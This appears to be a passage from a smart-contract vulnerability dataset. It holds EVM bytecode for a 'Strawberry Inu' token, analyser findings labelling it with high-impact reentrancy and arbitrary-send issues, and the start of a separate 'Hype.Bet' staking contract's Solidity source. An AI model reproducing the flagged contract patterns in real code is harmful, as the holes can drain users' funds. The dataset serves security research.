1019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600e81526020017f5374726177626572727920496e75000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017ff09f8d93496e75efb88f00000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122075a495a3d17935482836a3f8282d84ef3978c6d33e0242cfb3880d6f283e3e7264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
23
0x7f41e4311357c6aee87746620c3d17fe1d57a1f7
/** *Submitted for verification at Etherscan.io on 2020-11-30 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.4; // ---------------------------------------------------------------------------- // 'Hype.Bet' Staking smart contract. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. 